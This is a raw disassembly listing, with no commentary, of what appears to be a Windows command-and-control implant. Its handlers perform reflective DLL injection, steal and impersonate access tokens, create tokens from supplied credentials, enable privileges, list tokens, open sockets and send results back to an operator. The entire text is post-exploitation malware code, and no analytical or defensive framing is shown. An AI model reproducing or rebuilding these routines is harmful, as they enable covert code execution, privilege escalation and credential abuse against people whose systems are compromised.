14000e2a7mov rdx, [rdx+2326]
14000e2ae
14000e2aeloc_14000e2ae:
14000e2aetest rdx, rdx
14000e2b1je 0x14000e728
14000e2b7cmp [rdx+16], 1
14000e2bbjne 0x14000e2cd
14000e2bdcmp [rdx], eax
14000e2bfjne 0x14000e2cd
14000e2c1mov [rdx+16], 4
14000e2c8jmp 0x14000e70e
14000e2cd
14000e2cdloc_14000e2cd:
14000e2cdmov rdx, [rdx+48]
14000e2d1jmp 0x14000e2ae
14000e2d3lea r9, [rip+0x18f60]
14000e2damov r8l, 2780
14000e2e0lea rdx, [rip+0x1ee19]
14000e2e7lea rcx, [rip+0x17d1a]
14000e2eecall printf
14000e2f3mov rax, [rip+0x1e076]
14000e2famov rax, [rax+2326]
14000e301
14000e301loc_14000e301:
14000e301test rax, rax
14000e304je 0x14000e70e
14000e30acmp [rax+16], 1
14000e30ejne 0x14000e317
14000e310mov [rax+16], 4
14000e317
14000e317loc_14000e317:
14000e317mov rax, [rax+48]
14000e31bjmp 0x14000e301
14000e31dlea r9, [rip+0x18f2c]
14000e324mov r8l, 2801
14000e32alea rdx, [rip+0x1edcf]
14000e331lea rcx, [rip+0x17cd0]
14000e338call printf
14000e33djmp 0x14000e728
14000e342lea r12, [rip+0x1edb7]
14000e349lea r9, [rip+0x18f16]
14000e350mov r8l, 2808
14000e356mov rdx, r12
14000e359lea rcx, [rip+0x17ca8]
14000e360call printf
14000e365xor ecx, ecx
14000e367mov [rsp+80], rcx
14000e36cmov [rsp+88], rcx
14000e371mov rcx, rbx
14000e374call ParserGetInt32
14000e379lea rdx, [rsp+88]
14000e37emov rcx, rbx
14000e381mov esi, eax
14000e383call ParserGetBytes
14000e388mov rdi, [rip+0x1dfe1]
14000e38fmov [rsp+80], rax
14000e394mov rdx, rax
14000e397mov rcx, [rdi+2326]
14000e39e
14000e39eloc_14000e39e:
14000e39etest rcx, rcx
14000e3a1jne 0x14000e3c3
14000e3a3mov r9l, esi
14000e3a6mov r8l, 2826
14000e3acmov rdx, r12
14000e3afxor r13l, r13l
14000e3b2lea rcx, [rip+0x18ebb]
14000e3b9call printf
14000e3bejmp 0x14000e44d
14000e3c3
14000e3c3loc_14000e3c3:
14000e3c3cmp [rcx], esi
14000e3c5jne 0x14000e444
14000e3c7mov r13l, [rcx+16]
14000e3cbxor r9l, r9l
14000e3cemov rcx, [rcx+8]
14000e3d2mov r8l, [rsp+88]
14000e3d7call [rdi+1924]
14000e3ddinc eax
14000e3dfje 0x14000e41a
14000e3e1mov [rsp+32], esi
14000e3e5mov r9l, [rsp+88]
14000e3eamov rdx, r12
14000e3edmov r8l, 2837
14000e3f3lea rcx, [rip+0x18ea5]
14000e3facall printf
14000e3ffmov rcx, [rsp+72]
14000e404call PackageDestroy
14000e409lea rsp, [rbp-56]
14000e40dpop rbx
14000e40epop rsi
14000e40fpop rdi
14000e410pop r12
14000e412pop r13
14000e414pop r14
14000e416pop r15
14000e418pop rbp
14000e419ret
14000e41a
14000e41aloc_14000e41a:
14000e41acall [rdi+1868]
14000e420mov [rsp+32], esi
14000e424mov r9l, [rsp+88]
14000e429mov r8l, 2842
14000e42fmov [rsp+40], eax
14000e433mov rdx, r12
14000e436lea rcx, [rip+0x18e90]
14000e43dcall printf
14000e442jmp 0x14000e44d
14000e444
14000e444loc_14000e444:
14000e444mov rcx, [rcx+48]
14000e448jmp 0x14000e39e
14000e44d
14000e44dloc_14000e44d:
14000e44dmov rcx, [rsp+72]
14000e452mov edx, esi
14000e454call PackageAddInt32
14000e459mov rcx, [rsp+72]
14000e45emov edx, r13l
14000e461call PackageAddInt32
14000e466mov rcx, [rsp+72]
14000e46bxor edx, edx
14000e46dcall PackageAddInt32
14000e472call [rdi+1868]
14000e478mov rcx, [rsp+72]
14000e47dmov edx, eax
14000e47fcall PackageAddInt32
14000e484lea r14, [rip+0x1ec75]
14000e48blea r9, [rip+0x18e7b]
14000e492mov r8l, 2867
14000e498mov rdx, r14
14000e49blea rcx, [rip+0x17b66]
14000e4a2call printf
14000e4a7xor edx, edx
14000e4a9mov rcx, rbx
14000e4acmov [rsp+80], edx
14000e4b0call ParserGetInt32
14000e4b5mov rcx, rbx
14000e4b8mov r12l, eax
14000e4bbcall ParserGetByte
14000e4c0lea rdx, [rsp+80]
14000e4c5mov rcx, rbx
14000e4c8mov edi, eax
14000e4cacall ParserGetBytes
14000e4cfmov rcx, rbx
14000e4d2mov rsi, rax
14000e4d5call ParserGetInt16
14000e4damovsx r13l, ax
14000e4decmp dil, 1
14000e4e2jne 0x14000e4ef
14000e4e4mov esi, [rsi]
14000e4e6xor ebx, ebx
14000e4e8xor edi, edi
14000e4eajmp 0x14000e572
14000e4ef
14000e4efloc_14000e4ef:
14000e4efcmp dil, 3
14000e4f3jne 0x14000e542
14000e4f5mov eax, [rsp+80]
14000e4f9mov r15, [rip+0x1de70]
14000e500mov ecx, 64
14000e505lea edx, [rax+1]
14000e508call [r15+932]
14000e50fmov ecx, [rsp+80]
14000e513mov rdi, rax
14000e516mov rbx, rax
14000e519rep movsb [rdi], [rsi]
14000e51bmov rcx, rax
14000e51exor edi, edi
14000e520call DnsQueryIPv4
14000e525mov esi, eax
14000e527test eax, eax
14000e529jne 0x14000e536
14000e52bmov rcx, rbx
14000e52ecall DnsQueryIPv6
14000e533mov rdi, rax
14000e536
14000e536loc_14000e536:
14000e536mov rcx, rbx
14000e539call [r15+940]
14000e540jmp 0x14000e572
14000e542
14000e542loc_14000e542:
14000e542cmp dil, 4
14000e546jne 0x14000e56c
14000e548mov rax, [rip+0x1de21]
14000e54fmov edx, 16
14000e554mov ecx, 64
14000e559xor ebx, ebx
14000e55bcall [rax+932]
14000e561movups x0, [rsi]
14000e564mov rdi, rax
14000e567movups [rax], x0
14000e56ajmp 0x14000e570
14000e56c
14000e56cloc_14000e56c:
14000e56cxor ebx, ebx
14000e56exor edi, edi
14000e570
14000e570loc_14000e570:
14000e570xor esi, esi
14000e572
14000e572loc_14000e572:
14000e572mov r9l, r12l
14000e575mov r8l, 2919
14000e57bmov rdx, r14
14000e57elea rcx, [rip+0x18d98]
14000e585call printf
14000e58atest esi, esi
14000e58cjne 0x14000e597
14000e58etest rdi, rdi
14000e591je 0x14000e639
14000e597
14000e597loc_14000e597:
14000e597xor eax, eax
14000e599mov [rsp+32], r13l
14000e59emov r9, rdi
14000e5a1mov r8l, esi
14000e5a4mov [rsp+48], eax
14000e5a8mov edx, 2
14000e5adxor ecx, ecx
14000e5afmov [rsp+40], eax
14000e5b3call SocketNew
14000e5b8mov rbx, rax
14000e5bbtest rax, rax
14000e5beje 0x14000e5c7
14000e5c0mov [rax], r12l
14000e5c3xor esi, esi
14000e5c5jmp 0x14000e5f0
14000e5c7
14000e5c7loc_14000e5c7:
14000e5c7mov rax, [rip+0x1dda2]
14000e5cemov r8l, 2933
14000e5d4mov rdx, r14
14000e5d7lea rcx, [rip+0x18d5e]
14000e5demov rax, [rax+2230]
14000e5e5mov esi, [rax+104]
14000e5e8mov r9l, esi
14000e5ebcall printf
14000e5f0
14000e5f0loc_14000e5f0:
14000e5f0mov rcx, [rsp+72]
14000e5f5xor edx, edx
14000e5f7test rbx, rbx
14000e5fasetne dl
14000e5fdcall PackageAddInt32
14000e602mov rcx, [rsp+72]
14000e607mov edx, r12l
14000e60acall PackageAddInt32
14000e60fmov rcx, [rsp+72]
14000e614mov edx, esi
14000e616call PackageAddInt32
14000e61btest rdi, rdi
14000e61eje 0x14000e728
14000e624mov rax, [rip+0x1dd45]
14000e62bmov rcx, rdi
14000e62ecall [rax+940]
14000e634jmp 0x14000e728
14000e639
14000e639loc_14000e639:
14000e639mov r9, rbx
14000e63cmov r8l, 2940
14000e642mov rdx, r14
14000e645lea rcx, [rip+0x18d18]
14000e64ccall printf
14000e651mov rcx, [rsp+72]
14000e656xor edx, edx
14000e658call PackageAddInt32
14000e65dmov rcx, [rsp+72]
14000e662mov edx, r12l
14000e665call PackageAddInt32
14000e66amov edx, 10065
14000e66f
14000e66floc_14000e66f:
14000e66fmov rcx, [rsp+72]
14000e674call PackageAddInt32
14000e679jmp 0x14000e728
14000e67elea rsi, [rip+0x1ea7b]
14000e685lea r9, [rip+0x18d06]
14000e68cmov r8l, 2958
14000e692mov rdx, rsi
14000e695lea rcx, [rip+0x1796c]
14000e69ccall printf
14000e6a1mov rcx, rbx
14000e6a4call ParserGetInt32
14000e6a9mov r8l, 2965
14000e6afmov rdx, rsi
14000e6b2lea rcx, [rip+0x18ce7]
14000e6b9mov r9l, eax
14000e6bcmov [rsp+68], eax
14000e6c0call printf
14000e6c5mov rax, [rip+0x1dca4]
14000e6ccmov r9l, [rsp+68]
14000e6d1mov rbx, [rax+2326]
14000e6d8
14000e6d8loc_14000e6d8:
14000e6d8test rbx, rbx
14000e6dbje 0x14000e70e
14000e6ddcmp [rbx], r9l
14000e6e0jne 0x14000e708
14000e6e2mov r8l, 2977
14000e6e8mov rdx, rsi
14000e6eblea rcx, [rip+0x18ccc]
14000e6f2call printf
14000e6f7xor eax, eax
14000e6f9cmp [rbx+16], 3
14000e6fdsetne al
14000e700add eax, 4
14000e703mov [rbx+16], eax
14000e706jmp 0x14000e70e
14000e708
14000e708loc_14000e708:
14000e708mov rbx, [rbx+48]
14000e70cjmp 0x14000e6d8
14000e70e
14000e70eloc_14000e70e:
14000e70emov rcx, [rsp+72]
14000e713lea rsp, [rbp-56]
14000e717pop rbx
14000e718pop rsi
14000e719pop rdi
14000e71apop r12
14000e71cpop r13
14000e71epop r14
14000e720pop r15
14000e722pop rbp
14000e723jmp 0x140018af0
14000e728
14000e728loc_14000e728:
14000e728mov rcx, [rsp+72]
14000e72dlea rsp, [rbp-56]
14000e731pop rbx
14000e732pop rsi
14000e733pop rdi
14000e734pop r12
14000e736pop r13
14000e738pop r14
14000e73apop r15
14000e73cpop rbp
14000e73djmp 0x140018b90
14000e0e0

14000e742
14000e742 // align 0x10

14000e750
14000e750CommandSpawnDLL:
14000e750push rdi
14000e751xor eax, eax
14000e753push rsi
14000e754push rbx
14000e755mov rbx, rcx
14000e758mov ecx, 12
14000e75dsub rsp, 144
14000e764lea rdi, [rsp+96]
14000e769lea rdx, [rsp+92]
14000e76erep stosd [rdi], eax
14000e770xor eax, eax
14000e772mov rcx, rbx
14000e775mov [rsp+84], eax
14000e779mov [rsp+88], eax
14000e77dmov [rsp+92], eax
14000e781call ParserGetString
14000e786lea rdx, [rsp+84]
14000e78bmov rcx, rbx
14000e78emov rsi, rax
14000e791call ParserGetString
14000e796lea rdx, [rsp+88]
14000e79bmov rcx, rbx
14000e79emov [rsp+72], rax
14000e7a3call ParserGetString
14000e7a8mov ecx, 26
14000e7admov rdi, rax
14000e7b0call PackageCreate
14000e7b5mov [rsp+32], rdi
14000e7bamov edx, [rsp+92]
14000e7bemov rcx, rsi
14000e7c1mov rbx, rax
14000e7c4lea rax, [rsp+96]
14000e7c9mov r9l, [rsp+84]
14000e7cemov r8, [rsp+72]
14000e7d3mov [rsp+48], rax
14000e7d8mov eax, [rsp+88]
14000e7dcmov [rsp+40], rax
14000e7e1call DllSpawnReflective
14000e7e6mov rcx, rbx
14000e7e9mov edx, eax
14000e7ebcall PackageAddInt32
14000e7f0mov rcx, rbx
14000e7f3call PackageTransmit
14000e7f8add rsp, 144
14000e7ffpop rbx
14000e800pop rsi
14000e801pop rdi
14000e802ret
14000e750

14000e803
14000e803 // align 0x10

14000e810
14000e810CommandToken:
14000e810push r15
14000e812push r14
14000e814push r13
14000e816push r12
14000e818push rbp
14000e819push rdi
14000e81amov rdi, rcx
14000e81dmov ecx, 40
14000e822push rsi
14000e823push rbx
14000e824sub rsp, 376
14000e82bcall PackageCreate
14000e830mov rcx, rdi
14000e833mov [rsp+64], rax
14000e838call ParserGetInt32
14000e83dmov r8l, 1323
14000e843lea rdx, [rip+0x1e226]
14000e84alea rcx, [rip+0x18328]
14000e851mov r9l, eax
14000e854mov esi, eax
14000e856call printf
14000e85bmov rcx, [rsp+64]
14000e860mov edx, esi
14000e862dec esi
14000e864call PackageAddInt32
14000e869cmp esi, 9
14000e86cja 0x14000f1b0
14000e872lea rdx, [rip+0x18573]
14000e879movsxd rax, [rdx+4*rsi]
14000e87dlea rsi, [rip+0x17784]
14000e884add rax, rdx
14000e887jmp rax
14000e889lea r9, [rip+0x18308]
14000e890mov r8l, 1328
14000e896lea rdx, [rip+0x1e1d3]
14000e89dmov rcx, rsi
14000e8a0call printf
14000e8a5mov rcx, rdi
14000e8a8call ParserGetInt32
14000e8admov ecx, eax
14000e8afcall TokenGet
14000e8b4mov rdi, rax
14000e8b7test rax, rax
14000e8baje 0x14000e8d9
14000e8bcmov rcx, rax
14000e8bfcall ImpersonateTokenInStore
14000e8c4mov rcx, [rsp+64]
14000e8c9mov edx, eax
14000e8cbcall PackageAddInt32
14000e8d0mov rdx, [rdi+8]
14000e8d4jmp 0x14000eccd
14000e8d9
14000e8d9loc_14000e8d9:
14000e8d9lea r9, [rip+0x182cb]
14000e8e0mov r8l, 1342
14000e8e6lea rdx, [rip+0x1e183]
14000e8edmov rcx, rsi
14000e8f0call printf
14000e8f5mov edx, 1
14000e8famov ecx, 3
14000e8ffcall PackageTransmitError
14000e904mov rcx, [rsp+64]
14000e909xor edx, edx
14000e90bcall PackageAddInt32
14000e910xor edx, edx
14000e912jmp 0x14000f057
14000e917lea r9, [rip+0x182a7]
14000e91emov r8l, 1351
14000e924mov rcx, rsi
14000e927xor r12l, r12l
14000e92alea rdx, [rip+0x1e13f]
14000e931call printf
14000e936mov rcx, rdi
14000e939mov [rsp+104], r12
14000e93emov [rsp+112], r12
14000e943call ParserGetInt32
14000e948mov rcx, rdi
14000e94bmov r12l, eax
14000e94ecall ParserGetInt32
14000e953mov ecx, r12l
14000e956movsxd rdx, eax
14000e959call TokenSteal
14000e95elea r9, [rip+0x1826d]
14000e965mov r8l, 1367
14000e96bmov rdi, rax
14000e96etest rax, rax
14000e971je 0x14000e9d5
14000e973xor r8l, r8l
14000e976lea rdx, [rsp+104]
14000e97bmov rcx, rax
14000e97ecall TokenQueryOwner
14000e983lea r9, [rip+0x1826e]
14000e98amov r8l, 1372
14000e990test eax, eax
14000e992je 0x14000e9d5
14000e994xor ebp, ebp
14000e996mov rdx, [rsp+104]
14000e99bmov rcx, rdi
14000e99emov r9l, r12l
14000e9a1mov [rsp+48], rbp
14000e9a6mov r8l, 1
14000e9acmov [rsp+40], rbp
14000e9b1mov [rsp+32], rbp
14000e9b6call TokenAdd
14000e9bbmov ecx, eax
14000e9bdmov edi, eax
14000e9bfcall ImpersonateTokenFromVault
14000e9c4test eax, eax
14000e9c6jne 0x14000e9f8
14000e9c8lea r9, [rip+0x18257]
14000e9cfmov r8l, 1382
14000e9d5
14000e9d5loc_14000e9d5:
14000e9d5mov rcx, rsi
14000e9d8lea rdx, [rip+0x1e091]
14000e9dfcall printf
14000e9e4add rsp, 376
14000e9ebpop rbx
14000e9ecpop rsi
14000e9edpop rdi
14000e9eepop rbp
14000e9efpop r12
14000e9f1pop r13
14000e9f3pop r14
14000e9f5pop r15
14000e9f7ret
14000e9f8
14000e9f8loc_14000e9f8:
14000e9f8mov rax, [rsp+104]
14000e9fdmov r9l, edi
14000ea00mov r8l, 1386
14000ea06lea rdx, [rip+0x1e063]
14000ea0dlea rcx, [rip+0x18232]
14000ea14mov [rsp+32], rax
14000ea19call printf
14000ea1emov r8l, [rsp+112]
14000ea23mov rdx, [rsp+104]
14000ea28mov rcx, [rsp+64]
14000ea2dcall PackageAddBytes
14000ea32mov rcx, [rsp+64]
14000ea37mov edx, edi
14000ea39call PackageAddInt32
14000ea3emov edx, r12l
14000ea41jmp 0x14000f057
14000ea46mov rcx, rsi
14000ea49lea r9, [rip+0x18237]
14000ea50mov r8l, 1395
14000ea56xor edi, edi
14000ea58lea rdx, [rip+0x1e011]
14000ea5flea r13, [rip+0x1822d]
14000ea66call printf
14000ea6bmov r12, [rip+0x1d8fe]
14000ea72mov rsi, [r12+2274]
14000ea7a
14000ea7aloc_14000ea7a:
14000ea7atest rsi, rsi
14000ea7dje 0x14000f1b0
14000ea83mov eax, [rsi+16]
14000ea86mov r9l, edi
14000ea89mov r8l, 1403
14000ea8fmov rcx, r13
14000ea92lea rdx, [rip+0x1dfd7]
14000ea99mov [rsp+48], eax
14000ea9dmov rax, [rsi+8]
14000eaa1mov [rsp+40], rax
14000eaa6mov rax, [rsi]
14000eaa9mov [rsp+32], rax
14000eaaecall printf
14000eab3mov rcx, [rsp+64]
14000eab8mov edx, edi
14000eabacall PackageAddInt32
14000eabfmov edx, [rsi]
14000eac1mov rcx, [rsp+64]
14000eac6call PackageAddInt32
14000eacbmov rdx, [rsi+8]
14000eacfmov rcx, [rsp+64]
14000ead4call PackageAddWString
14000ead9mov edx, [rsi+16]
14000eadcmov rcx, [rsp+64]
14000eae1call PackageAddInt32
14000eae6movsx edx, [rsi+20]
14000eaeamov rcx, [rsp+64]
14000eaefcall PackageAddInt32
14000eaf4mov edx, [r12+2290]
14000eafctest edx, edx
14000eafeje 0x14000eb13
14000eb00mov rax, [r12+2282]
14000eb08xor edx, edx
14000eb0amov rbx, [rsi]
14000eb0dcmp [rax], rbx
14000eb10sete dl
14000eb13
14000eb13loc_14000eb13:
14000eb13mov rcx, [rsp+64]
14000eb18inc edi
14000eb1acall PackageAddInt32
14000eb1fmov rsi, [rsi+48]
14000eb23jmp 0x14000ea7a
14000eb28lea rdx, [rip+0x1df41]
14000eb2flea r9, [rip+0x181a7]
14000eb36mov rcx, rsi
14000eb39xor ebx, ebx
14000eb3bmov r8l, 1422
14000eb41call printf
14000eb46mov rcx, rdi
14000eb49mov [rsp+92], ebx
14000eb4dmov [rsp+96], ebx
14000eb51mov [rsp+100], ebx
14000eb55call ParserGetInt32
14000eb5amov rcx, [rsp+64]
14000eb5fmov r12l, eax
14000eb62mov edx, eax
14000eb64call PackageAddInt32
14000eb69test r12l, r12l
14000eb6cje 0x14000ec85
14000eb72mov rcx, rsi
14000eb75lea r9, [rip+0x18177]
14000eb7cmov r8l, 1436
14000eb82lea rdx, [rip+0x1dee7]
14000eb89lea r13, [rsp+92]
14000eb8ecall printf
14000eb93lea rdi, [rsp+120]
14000eb98call TokenCurrentHandle
14000eb9dxor r9l, r9l
14000eba0xor r8l, r8l
14000eba3mov edx, 3
14000eba8mov rbp, [rip+0x1d7c1]
14000ebafmov rcx, rax
14000ebb2mov [rsp+32], r13
14000ebb7mov r12, rax
14000ebbacall [rbp+1340]
14000ebc0mov eax, [rsp+92]
14000ebc4mov ecx, 64
14000ebc9lea edx, [rax+1]
14000ebccshl rdx, 4
14000ebd0call [rbp+932]
14000ebd6xor r11l, r11l
14000ebd9mov ecx, 61
14000ebdemov rsi, rax
14000ebe1xor eax, eax
14000ebe3mov [rsp+104], r11
14000ebe8mov [rsp+112], r11
14000ebedrep stosd [rdi], eax
14000ebeftest rsi, rsi
14000ebf2je 0x14000f1b0
14000ebf8mov [rsp+32], r13
14000ebfdmov r9l, [rsp+92]
14000ec02mov r8, rsi
14000ec05mov rcx, r12
14000ec08mov edx, 3
14000ec0dcall [rbp+1340]
14000ec13test eax, eax
14000ec15je 0x14000ec2a
14000ec17lea rdi, [rsi+4]
14000ec1bxor r12l, r12l
14000ec1elea r14, [rsp+96]
14000ec23lea r13, [rsp+104]
14000ec28jmp 0x14000ec44
14000ec2a
14000ec2aloc_14000ec2a:
14000ec2amov rdi, rsi
14000ec2dmov ecx, 16
14000ec32xor eax, eax
14000ec34rep stosb [rdi], al
14000ec36mov rcx, rsi
14000ec39call [rbp+940]
14000ec3fjmp 0x14000f1b0
14000ec44
14000ec44loc_14000ec44:
14000ec44cmp r12l, [rsi]
14000ec47jae 0x14000ec2a
14000ec49mov r9, r14
14000ec4cmov r8, r13
14000ec4fmov rdx, rdi
14000ec52xor ecx, ecx
14000ec54mov [rsp+96], 260
14000ec5cinc r12l
14000ec5fadd rdi, 12
14000ec63call [rbp+1556]
14000ec69mov rcx, [rsp+64]
14000ec6emov rdx, r13
14000ec71call PackageAddString
14000ec76mov edx, [rdi-4]
14000ec79mov rcx, [rsp+64]
14000ec7ecall PackageAddInt32
14000ec83jmp 0x14000ec44
14000ec85
14000ec85loc_14000ec85:
14000ec85lea r9, [rip+0x18073]
14000ec8cmov r8l, 1460
14000ec92mov rcx, rsi
14000ec95lea rdx, [rip+0x1ddd4]
14000ec9ccall printf
14000eca1lea rdx, [rsp+100]
14000eca6mov rcx, rdi
14000eca9call ParserGetString
14000ecaemov edx, 1
14000ecb3mov rcx, rax
14000ecb6mov rsi, rax
14000ecb9call TokenSetPrivilege
14000ecbemov rcx, [rsp+64]
14000ecc3mov edx, eax
14000ecc5call PackageAddInt32
14000eccamov rdx, rsi
14000eccd
14000eccdloc_14000eccd:
14000eccdmov rcx, [rsp+64]
14000ecd2call PackageAddString
14000ecd7jmp 0x14000f1b0
14000ecdclea r9, [rip+0x18027]
14000ece3mov r8l, 1477
14000ece9mov rcx, rsi
14000ececlea rdx, [rip+0x1dd7d]
14000ecf3call printf
14000ecf8xor r10l, r10l
14000ecfbmov rcx, rdi
14000ecfelea rdx, [rsp+104]
14000ed03mov [rsp+96], r10l
14000ed08mov [rsp+100], r10l
14000ed0dmov [rsp+104], r10l
14000ed12call ParserGetWString
14000ed17mov rcx, rdi
14000ed1alea rdx, [rsp+96]
14000ed1fmov [rsp+72], rax
14000ed24call ParserGetWString
14000ed29mov rcx, rdi
14000ed2clea rdx, [rsp+100]
14000ed31mov rsi, rax
14000ed34call ParserGetWString
14000ed39mov r12l, [rsp+96]
14000ed3emov [rsp+92], 92
14000ed45mov edi, [rsp+104]
14000ed49mov r14, rax
14000ed4ctest r12l, r12l
14000ed4fje 0x14000f1b0
14000ed55cmp [rsp+100], 0
14000ed5aje 0x14000f1b0
14000ed60test edi, edi
14000ed62je 0x14000f1b0
14000ed68mov [rsp+40], rax
14000ed6dmov r9, [rsp+72]
14000ed72mov r8l, 1496
14000ed78lea rdx, [rip+0x1dcf1]
14000ed7fmov [rsp+32], rsi
14000ed84lea rcx, [rip+0x17f8b]
14000ed8bcall printf
14000ed90mov r8, [rsp+72]
14000ed95mov rdx, r14
14000ed98mov rcx, rsi
14000ed9bcall TokenMake
14000eda0mov rbx, rax
14000eda3test rax, rax
14000eda6je 0x14000f1b0
14000edacmov r15, [rip+0x1d5bd]
14000edb3lea ebp, [r12+rdi+1]
14000edb8mov ecx, 64
14000edbdmov rdx, rbp
14000edc0call [r15+932]
14000edc7mov rcx, rbp
14000edcamov r12, rax
14000edcdmov rdi, rax
14000edd0xor eax, eax
14000edd2rep stosb [rdi], al
14000edd4mov rdx, [rsp+72]
14000edd9mov rcx, r12
14000eddccall StringConcatW
14000ede1lea rdx, [rsp+92]
14000ede6mov rcx, r12
14000ede9call StringConcatW
14000edeemov rdx, rsi
14000edf1mov rcx, r12
14000edf4call StringConcatW
14000edf9mov edx, [rsp+96]
14000edfdmov ecx, 64
14000ee02call [r15+932]
14000ee09mov edx, [rsp+100]
14000ee0dmov ecx, 64
14000ee12mov rbp, rax
14000ee15call [r15+932]
14000ee1cmov rdi, rbp
14000ee1fmov edx, [rsp+104]
14000ee23mov ecx, 64
14000ee28mov r13, rax
14000ee2bcall [r15+932]
14000ee32mov ecx, [rsp+96]
14000ee36mov r8l, 2
14000ee3crep movsb [rdi], [rsi]
14000ee3emov rdi, r13
14000ee41mov rsi, r14
14000ee44mov ecx, [rsp+100]
14000ee48rep movsb [rdi], [rsi]
14000ee4amov rsi, [rsp+72]
14000ee4fmov rdi, rax
14000ee52mov ecx, [rsp+104]
14000ee56rep movsb [rdi], [rsi]
14000ee58mov rcx, rbx
14000ee5bmov rdx, [0x30]
14000ee64mov r9, [rdx+64]
14000ee68mov [rsp+48], r13
14000ee6dmov rdx, r12
14000ee70mov [rsp+40], rax
14000ee75mov [rsp+32], rbp
14000ee7acall TokenAdd
14000ee7fmov ecx, eax
14000ee81call ImpersonateTokenFromVault
14000ee86mov r9, r12
14000ee89mov r8l, 1530
14000ee8flea rdx, [rip+0x1dbda]
14000ee96lea rcx, [rip+0x17ec3]
14000ee9dcall printf
14000eea2mov rcx, [rsp+64]
14000eea7mov rdx, r12
14000eeaacall PackageAddWString
14000eeafjmp 0x14000f1b0
14000eeb4mov rcx, rsi
14000eeb7lea r9, [rip+0x17ec5]
14000eebemov r8l, 1539
14000eec4lea rdx, [rip+0x1dba5]
14000eecbcall printf
14000eed0xor r9l, r9l
14000eed3mov [rsp+104], r9
14000eed8mov [rsp+112], r9
14000eeddcall TokenCurrentHandle
14000eee2mov rsi, rax
14000eee5test rax, rax
14000eee8je 0x14000ef5d
14000eeeamov rcx, rax
14000eeedcall TokenElevated
14000eef2mov rcx, [rsp+64]
14000eef7mov edx, eax
14000eef9call PackageAddInt32
14000eefexor r8l, r8l
14000ef01lea rdx, [rsp+104]
14000ef06mov rcx, rsi
14000ef09call TokenQueryOwner
14000ef0etest eax, eax
14000ef10je 0x14000ef44
14000ef12mov eax, [rsp+112]
14000ef16mov r9, [rsp+104]
14000ef1bmov r8l, 1552
14000ef21lea rdx, [rip+0x1db48]
14000ef28lea rcx, [rip+0x17e62]
14000ef2fmov [rsp+32], eax
14000ef33call printf
14000ef38mov r8l, [rsp+112]
14000ef3dmov rdx, [rsp+104]
14000ef42jmp 0x14000ef49
14000ef44
14000ef44loc_14000ef44:
14000ef44xor r8l, r8l
14000ef47xor edx, edx
14000ef49
14000ef49loc_14000ef49:
14000ef49mov rcx, [rsp+64]
14000ef4ecall PackageAddBytes
14000ef53mov rcx, rsi
14000ef56call SysNtClose
14000ef5bjmp 0x14000ef78
14000ef5d
14000ef5dloc_14000ef5d:
14000ef5dmov rax, [rip+0x1d40c]
14000ef64mov ecx, 1
14000ef69mov rax, [rax+2230]
14000ef70mov edx, [rax+104]
14000ef73call PackageTransmitError
14000ef78
14000ef78loc_14000ef78:
14000ef78mov rdi, [rsp+104]
14000ef7dtest rdi, rdi
14000ef80je 0x14000f1b0
14000ef86mov ecx, [rsp+112]
14000ef8axor eax, eax
14000ef8crep stosb [rdi], al
14000ef8emov rax, [rip+0x1d3db]
14000ef95mov r8, [rsp+104]
14000ef9amov rdx, [rax+2230]
14000efa1mov rdx, [rdx+96]
14000efa5mov rcx, [rdx+48]
14000efa9xor edx, edx
14000efabcall [rax+332]
14000efb1jmp 0x14000f1b0
14000efb6mov rcx, rsi
14000efb9lea r9, [rip+0x17df4]
14000efc0mov r8l, 1579
14000efc6lea rdx, [rip+0x1daa3]
14000efcdcall printf
14000efd2call TokenRevSelf
14000efd7mov rcx, [rsp+64]
14000efdcmov esi, eax
14000efdemov edx, eax
14000efe0call PackageAddInt32
14000efe5test esi, esi
14000efe7mov rsi, [rip+0x1d382]
14000efeejne 0x14000f004
14000eff0mov rax, [rsi+2230]
14000eff7mov ecx, 1
14000effcmov edx, [rax+104]
14000efffcall PackageTransmitError
14000f004
14000f004loc_14000f004:
14000f004xor ecx, ecx
14000f006xor r8l, r8l
14000f009mov [rsi+2282], rcx
14000f010mov [rsi+2290], r8l
14000f017jmp 0x14000f1b0
14000f01clea r9, [rip+0x17d9f]
14000f023mov r8l, 1594
14000f029lea rdx, [rip+0x1da40]
14000f030mov rcx, rsi
14000f033call printf
14000f038mov rcx, rdi
14000f03bcall ParserGetInt32
14000f040mov ecx, eax
14000f042mov esi, eax
14000f044call TokenRemove
14000f049mov rcx, [rsp+64]
14000f04emov edx, eax
14000f050call PackageAddInt32
14000f055mov edx, esi
14000f057
14000f057loc_14000f057:
14000f057mov rcx, [rsp+64]
14000f05ccall PackageAddInt32
14000f061jmp 0x14000f1b0
14000f066lea r9, [rip+0x17d63]
14000f06dmov r8l, 1604
14000f073lea rdx, [rip+0x1d9f6]
14000f07amov rcx, rsi
14000f07dcall printf
14000f082call TokenClear
14000f087jmp 0x14000f1b0
14000f08cmov rcx, rsi
14000f08flea r9, [rip+0x17d47]
14000f096mov r8l, 1612
14000f09clea rdx, [rip+0x1d9cd]
14000f0a3call printf
14000f0a8xor edx, edx
14000f0aaxor eax, eax
14000f0aclea rcx, [rsp+104]
14000f0b1mov [rsp+100], edx
14000f0b5lea rdx, [rsp+100]
14000f0bamov [rsp+104], rax
14000f0bfcall ListTokens
14000f0c4mov rcx, [rsp+64]
14000f0c9mov esi, eax
14000f0cbmov edx, eax
14000f0cdcall PackageAddInt32
14000f0d2test esi, esi
14000f0d4jne 0x14000f10a
14000f0d6
14000f0d6loc_14000f0d6:
14000f0d6mov rdi, [rsp+104]
14000f0dbtest rdi, rdi
14000f0deje 0x14000f1b0
14000f0e4mov ecx, [rsp+100]
14000f0e8xor eax, eax
14000f0eaimul rcx, rcx, 1056
14000f0f1rep stosb [rdi], al
14000f0f3mov rax, [rip+0x1d276]
14000f0famov rcx, [rsp+104]
14000f0ffcall [rax+940]
14000f105jmp 0x14000f1b0
14000f10a
14000f10aloc_14000f10a:
14000f10amov edx, [rsp+100]
14000f10emov rcx, [rsp+64]
14000f113xor edi, edi
14000f115call PackageAddInt32
14000f11a
14000f11aloc_14000f11a:
14000f11amov rdx, [rsp+104]
14000f11fcmp edi, [rsp+100]
14000f123jae 0x14000f0d6
14000f125mov esi, edi
14000f127mov rcx, [rsp+64]
14000f12cinc edi
14000f12eimul rsi, rsi, 1056
14000f135add rdx, rsi
14000f138call PackageAddWString
14000f13dmov rax, [rsp+104]
14000f142mov rcx, [rsp+64]
14000f147mov edx, [rax+rsi+1024]
14000f14ecall PackageAddInt32
14000f153mov rax, [rsp+104]
14000f158mov rcx, [rsp+64]
14000f15dmov edx, [rax+rsi+1032]
14000f164call PackageAddInt32
14000f169mov rax, [rsp+104]
